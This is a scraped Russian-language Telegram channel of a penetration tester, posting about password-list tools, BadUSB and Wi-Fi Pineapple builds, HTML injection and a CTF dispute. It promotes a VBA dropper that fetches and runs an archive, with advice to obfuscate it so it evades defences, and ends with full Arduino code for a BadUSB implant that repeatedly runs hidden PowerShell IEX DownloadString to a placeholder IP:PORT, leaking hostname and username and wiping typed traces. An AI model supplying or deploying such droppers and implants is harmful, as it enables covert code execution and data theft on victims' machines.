FCK HARDER – Telegram
FCK HARDER
998 subscribers
31 photos
1 video
33 links
TG: https://news.1rj.ru/str/e1tex

CHAT: https://news.1rj.ru/str/cht_harder

Dirty talks about pentest, python and hardware stuff/
FCK HARDER
Download Telegram
Заредтимил и потегал офис Яндекса🤡🤡🤡🤡
🗿8🔥42🤡2🖕2
Мне, кстати, приехала куча ништяков 😋 Где-то там еще лежит кучка пико с флешками! Дописываю статью -> покупаю паяльник с тонким жалом -> и..? Ну хекаю типа 😎

TRY FCK HARDER❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
7❤‍🔥2🔥1
Ну и небольшой вкид по статье…) Конечно не как это делает Магама, но не осветить легендарную Button Injection я не могу 🤡

ТРАЙ ФАК ХАРДЕР ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥32
Когда на проекте одна звездочка, твоя 😢😭😵

Сделал модификацию для CUPP, называется bettercupp. В целом, готовая и работает, осталось только затестить на наличие багов и прикрутить пару фитч. Думаю, завтра уже можно будет постить сюда 🥰

TRY FCK HARDER 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
6
Гайз, поздравляю всех с Новым, 2024 годом!

В этом году канал успел вырасти с 0 до 55 подписчиков! Всем благодарен за то, что читаете всю эту заумную (и не очень) муть. Считаю, что это неплохой результат, учитывая отсутствие ботов)

В новом году желаю вам, чтобы вы, независимо от рода деятельности, достигали самых высоких вершин в том, чем вы горите 🔥

Лично я горю этим самым пенетрайшн тестом 😋 Именно поэтому в 2024 году я буду невероятно рад кормить своих дорогих подпещеков своим экспертным контентом 🤔

Админ уже нажрался, а обещанный скрипт будет уже в 2024 году, увидимся!!! 🥰
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥4❤‍🔥3
bettercupp 🥶

Встречайте, мое скромное виденье на узко известный в широких кругах инструмент CUPP(Common User Password Profiler) 🥹

https://github.com/E1tex/bettercupp

Почему он better чем оригинал:
1. Добавил Non-Interactive Mode.

Всего один пункт, но даже так он уже покрывает определенный пласт боевых задач, с чем не справлялся оригинал 😋

Пример использования:

python3 ./bettercupp.py -ni -ofn pets_name -pf profiletest.txt -n 0 -fn 1 -ln 2


profiletest.txt:

nick1:Ivan:Spiridonov
nick2:Vasya:Pupkin
...
nickname:Name:Surname


На выходе получаем уникальный для каждого пользователя словарь с паролями, сгенерированными на основе данных, которые мы указали в файле 😎

TRY FCK HARDER 🎈
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10😎43
😂😂😂

TRY FCK HARDER
Please open Telegram to view this post
VIEW IN TELEGRAM
11🤝4😁3❤‍🔥1👍1
CVE-2023-48104😳

Да, CVSS скор не 10, но камон, это как первая любовь.. Какой бы страшненькой и кринжовой она не была, вспоминаешь о ней с теплом! ❤️

https://nvd.nist.gov/vuln/detail/CVE-2023-48104
https://ubuntu.com/security/CVE-2023-48104

TRY FCK HARDER
Please open Telegram to view this post
VIEW IN TELEGRAM
🎉13🔥41👍1
Teensy 2.0 Bad USB 😱

https://teletype.in/@e1tex/teensybadusb

В данной статье мы рассмотрим процесс создания устройства Bad USB с использованием платы на базе Arduino - Teensy 2.0.
Я продемонстрирую шаги по созданию и программированию этого маленького, но мощного устройства, способного провести атаку на компьютерную систему, обойти защитные механизмы и получить несанкционированный доступ к данным.

TRY FCK HARDER 💪
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥83👍2🔥2
CUNP(Common UserName Profiler) 🕷

Туловина для генерации списка имен пользователей.
Писалась чисто под задачки, которые встречаются в работе повсеместно.
Из прикольных фитчтонкая настройка входящих данных: от количества пользователей, до шаблонов, по которым надо генерить список 😎

https://github.com/E1tex/CUNP

Enjoy!
TRY FCK HARDER 😈
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥8👍5😈51👏1
Awesome-InfoSec-TG-channels 🤨

https://github.com/k0yt/Awesome-InfoSec-TG-channels

Интересный проект по парсингу ТГ каналов по теме киберсесурити. Там можно поискать всякие интересности или, например, подыскать коллег по цеху с целью взаимного продвижения каналов ))

Даже свое детище там нашел, между прочим, на 225 месте 😇
Правда без тега pentest lul >_<

TRY FCK HARDER 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
11🤷‍♂2👨‍💻1🤗1
Pineapple with Eyes 👁👁

https://teletype.in/@e1tex/pineapplewitheyes

В данной статье мы рассмотрим сборку аппаратной закладки, которая не будет требовать прямого доступа к атакуемым системам - Wi-Fi Pineapple. Кроме того, мы изучим, как это устройство может быть задействовано не только при атаках на Wi-Fi сети, но и в качестве IP-камеры для наблюдения за объектами.

TRY FCK HARDER 👁
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍5❤‍🔥22
Друзья, какой направленности доклад на PHD вам было бы интересно от меня услышать?🔜
Anonymous Poll
37%
⚫️Вебчик
46%
⚫️Физика/Хардварь
44%
⚫️Редтимчик/Байпасы АВшек и пр.
👍11💩5
non-typical PeneTration 🎹

https://teletype.in/@r00t_owl/hXHHVdpGeyY

Недавно принял участие в оч интересном проекте по физике, нам даже удалось отснять некоторые ключевые моменты, edit по которым мы уже закинули на ютаб, приятного просмотра:

https://www.youtube.com/watch?v=1N5WyC1qwtI

TRY FCK HARDER ☠️
Please open Telegram to view this post
VIEW IN TELEGRAM
11🏆3👾1
Красавица и HTML Injection. Почему HTMLi не только про дефейс 🚨

https://habr.com/ru/articles/804863/

Таки встретил свет мой лонгрид по HTML-инъекциям! Начинающие специалисты, набирайтесь терпения! А для продвинутых хакеров я сделал удобное оглавление, которым вы можете воспользоваться для изучения конкретно интересующей вас темы!

Приятного прочтения!

TRY FCK HARDER 🤩
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13🍾4👍3💯2🏆2
VBA_Dropper 👀

Написал небольшой дроппер на VBA, который качает с сервера архив, распаковывает его в диру с рандомным названием, закидывает туда содержимое и запускает. Пользуйте, Друзья!
Только перед этим не забудьте чутка подобфусцировать его, чтобы точно дошел до адресата)

https://github.com/E1tex/VBA_Dropper.git

*Можете подредачить его, чтобы он, например, сразу распаковывал файл в Startup диру(?) 👍*

TRY FCK HARDER 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
8🔥6😁1
Лучший евент от лучших организаторов 🤡

Нереально на самом деле обидно за каждую команду из государства S, а, в частности, за четверку лучших его команд.

Помимо упомянутого в посте ниже, в программу лучшего евента от лучших оргов вошли:
1. Постоянные проблемы с брутом, неоднократно забывали закидывать необходимые креды в словари.
2. Дохлые хосты, как внутри лабораторной инфры, так и платформа для сдачи отчетов.
3. Баги, которые мешают сдать отчет.
4. Неожиданные сливы оргами инфы всем командам, на поиск которой, некоторые команды тратили драгоценное время.
5. Ну и, конечно, слухи о том, что некоторым командам непосредственно орги хинтили и сливали решение по таскам 🤡 А немного проанализировав, можно понять, что эти слухи не такие уж и безосновательные!)()9)0)

TRY FCK HARDER ☠️
Not Pay harder(((
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯14👎4👍211
Forwarded from Ivan Bulavin
Друзья, сообщество Standoff.

Благодарим всех, кто играл сегодня с нами. Конечно же мы благодарим наших союзников, отличных ребят, экспертов своего дела, а также благодарим наших соперников, с которыми создали по-настоящему накаленную атмосферу.

Обращаемся к вам, чтобы обрамить наши последующие действия в понятный и доходчивый посыл: Мы не хотим дискредитировать вашу хорошую игру, но не согласны с тем, что организаторы обеспечили честную игру для каждой команды.

На этом мероприятии мы и вы наблюдали, следующие факты, не позволяющие признавать происходящее настоящим сравнением сил сторон.

1. Те риски, что не смогла реализовать Государство S были неподготовлены к игре и нерешабельны, другая часть рисков так и не была доступна для решения в ходе игры из-за ошибок в системах скада и работе сети.

2. Нашим соперникам досталось 3 сегмента сети для атак, которые весь год находились на полигоне 365, а заверения организаторов о том, что они обновили инфраструктуру и задачи не оказались правдой.

3. Организаторы знали, что команда Pr1me, которая с самого начала отказалась играть, и даже на этапе подготовки сообщила об этом, была включена в общий зачет. А в последствии принесла победное значение коэффициента команде государства F своим "внезапным" отсутствием.

Как утверждалось в презентации мероприятия: "Победит самое сплоченное государство". Определенно государство S вышло победителем в этой схватке, как самое сплоченное, сыгранное и объединившееся. Мы благодарим за игру наших соратников, мы также благодарим за игру наших соперников.

В сложившейся ситуации мы вынуждены принять решение об отказе от участия в дальнейших активностях мероприятия Standoff 13.

True0xA3 (ТруОАЗ)
53💔36🤯6👎31
BadUSB Check-Script 😈

Если во время выполнения работы по социальной инженерии — будь то через флешки или физику, — нам не требуется делать пробив, мы можем просто отправить запрос на подконтрольный сервер и залогировать входящие запросы.

Поскольку заказчику необходимо знать, кому проводить обучение после завершения кампании 😐, нам нужно собрать минимальную информацию о хосте, с которого был отправлен запрос. В скрипте ниже, используя переменные окружения, мы отправляем с виндовой тачки запрос, содержащий hostname и username.

Помимо сбора информации, такой подход помогает не потерять запросы, которые мы можем пропустить из-за надоедливых сканов со стороны Shodan, Censys и пр.

Скрипт, который я написал и активно использую, работает с модулем Paensy, разбор которого был ранее на канале:

#include <paensy.h>

void setup() {
delay(5000);
SetDelay(100);
while (true) {
delay(5000);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.releaseAll();
delay(500);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(KEY_SPACE);
Keyboard.releaseAll();
delay(500);
RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
PressKey(KEY_ENTER, 1);
PressKey(KEY_ESC, 1);
PressKey(KEY_BACKSPACE, 1);
delay(1800000);
}
}

void loop() {
}


А для того, чтобы отлавливать запросы, мы можем использовать простой Python HTTP Server:

sudo PYTHONUNBUFFERED=x python3 -m http.server PORT &> ../http.server.log & echo $! > ../http.server.pid


Здесь мы:
1. Отключаем буферизацию вывода;
2. Перенаправляем как stderr, так и stdout в лог-файл;
3. Записываем pid в файл, чтоб не потерять его и спокойно убить процесс, в случае необходимости.

По основному скрипту:
1. Основной скрипт для Arduino меняет язык раскладки, используя всего два сочетания клавиш, что можно изменить по вашему усмотрению;

2. Если цель еще не на рабочем месте, можно вставить плату и забыть о ней— скрипт выполняется каждые полчаса в бесконечном цикле;

3. Нажатие же клавиш типа ESC,ENTER и BACKSPACE нужно для того, чтобы, если компьютер заблокирован, у таргета стирались те данные, которые были введены в процессе выполнения скрипта.
не палимся)

TRY FCK HARDER 🕺
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11🔥82